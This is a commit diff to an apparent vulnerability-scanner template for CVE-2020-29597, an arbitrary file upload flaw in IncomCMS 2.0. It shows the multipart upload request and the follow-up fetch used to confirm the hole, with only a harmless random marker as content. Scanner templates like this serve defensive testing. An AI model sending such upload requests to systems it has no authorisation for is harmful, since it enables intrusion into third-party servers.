Added strict matchers (#4589)

cves/2020/CVE-2020-29597.yaml

@@ -1,4 +1,5 @@
 id: CVE-2020-29597
+
 info:
   name: IncomCMS 2.0 - Arbitrary File Upload
   author: princechaddha
@@ -27,21 +28,27 @@ requests:
         Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBEJZt0IK73M2mAbt
 
         ------WebKitFormBoundaryBEJZt0IK73M2mAbt
-        Content-Disposition: form-data; name="Filedata"; filename="{{randstr}}.png"
-        Content-Type: image/png
-
+        Content-Disposition: form-data; name="Filedata"; filename="{{randstr_1}}.png"
+        Content-Type: text/html
 
+        {{randstr_2}}
         ------WebKitFormBoundaryBEJZt0IK73M2mAbt--
+
       - |
-        GET /upload/userfiles/image/{{randstr}}.png HTTP/1.1
+        GET /upload/userfiles/image/{{randstr_1}}.png HTTP/1.1
         Host: {{Hostname}}
 
     req-condition: true
+    matchers-condition: and
     matchers:
-      - type: dsl
-        dsl:
-          - contains(body_1, '\"name\":\"{{randstr}}.png\"')
-          - status_code_2 == 200
-        condition: and
+      - type: word
+        part: body_1
+        words:
+          - '{"status":"1","name":"{{randstr_1}}.png"}'
+
+      - type: word
+        part: body_2
+        words:
+          - '{{randstr_2}}'
 
 # Enhanced by CS 06/06/2022